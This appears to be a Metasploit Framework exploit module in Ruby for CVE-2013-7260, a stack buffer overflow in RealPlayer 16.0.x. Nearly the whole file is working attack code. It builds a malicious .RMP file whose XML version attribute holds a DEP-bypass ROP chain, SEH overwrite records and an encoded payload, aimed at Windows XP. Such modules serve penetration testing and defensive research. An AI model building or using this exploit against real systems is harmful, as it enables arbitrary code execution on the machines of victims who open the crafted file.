Alan Foster
116 lines
3.6 KiB
Ruby
116 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RealNetworks RealPlayer Version Attribute Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in
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version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused by
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improper bounds checking of the version and encoding attributes inside
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the XML declaration.
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By persuading the victim to open a specially-crafted .RMP file, a
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remote attacker could execute arbitrary code on the system or cause
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the application to crash.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Gabor Seljan' # Vulnerability discovery and Metasploit module
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],
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'References' =>
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[
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[ 'BID', '64695' ],
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[ 'EDB', '30468' ],
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[ 'OSVDB', '101356' ],
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[ 'CVE', '2013-7260' ],
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[ 'US-CERT-VU', '698278' ],
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[ 'URL', 'http://service.real.com/realplayer/security/12202013_player/en/' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x22",
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'Space' => 2396
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},
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'Targets' =>
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[
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[ 'Windows XP SP2/SP3 (DEP Bypass) / RealPlayer 16.0.3.51/16.0.2.32',
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{
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'OffsetROP' => 44,
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'OffsetMenu' => 11052, # Open via File -> Open
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'Ret' => 0x5acceecd # ADD ESP,428 # RETN 10 [mswmdm.dll]
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => '2013-12-20',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.rmp'])
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],
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self.class)
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end
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def exploit
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rop_nop =
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[
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0x77c1c552 # RETN (ROP NOP) [msvcrt.dll]
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].flatten.pack('V*')
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rop_gadgets =
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[
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0x77c21d16, # POP EAX # RETN [msvcrt.dll]
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0x77c11120, # &VirtualProtect() [IAT msvcrt.dll]
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0x77c1bb36, # POP EBP # RETN [msvcrt.dll]
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0x77c20497, # skip 4 bytes [msvcrt.dll]
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0x77c2362c, # POP EBX # RETN [msvcrt.dll]
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0x0000095c, # 0x0000095C-> EBC
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0x5acb2caf, # POP EDX # RETN [mswmdm.dll]
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0x00000040, # 0x00000040-> EDX
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0x77c1f519, # POP ECX # RETN [msvcrt.dll]
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0x77C5D305, # &Writable location [msvcrt.dll]
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0x77c23b47, # POP EDI # RETN [msvcrt.dll]
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0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
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0x77c2ed13, # POP ESI # RETN [msvcrt.dll]
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0x77c2aacc, # JMP [EAX] [msvcrt.dll]
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0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
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0x77c35459 # PUSH ESP # RETN [msvcrt.dll]
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].flatten.pack('V*')
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sploit = rand_text_alpha_upper(target['OffsetROP'])
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sploit << rop_nop
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sploit << make_nops(16)
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sploit << rop_gadgets
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sploit << make_nops(16)
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret) # Open via double click (2540)
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sploit << rand_text_alpha_upper(target['OffsetMenu'])
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sploit << generate_seh_record(target.ret) # Open via File -> Open (13600)
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sploit << rand_text_alpha_upper(17000) # Generate exception
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# Create the file
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create("<?xml version=\"" + sploit + "\"?>")
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end
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end
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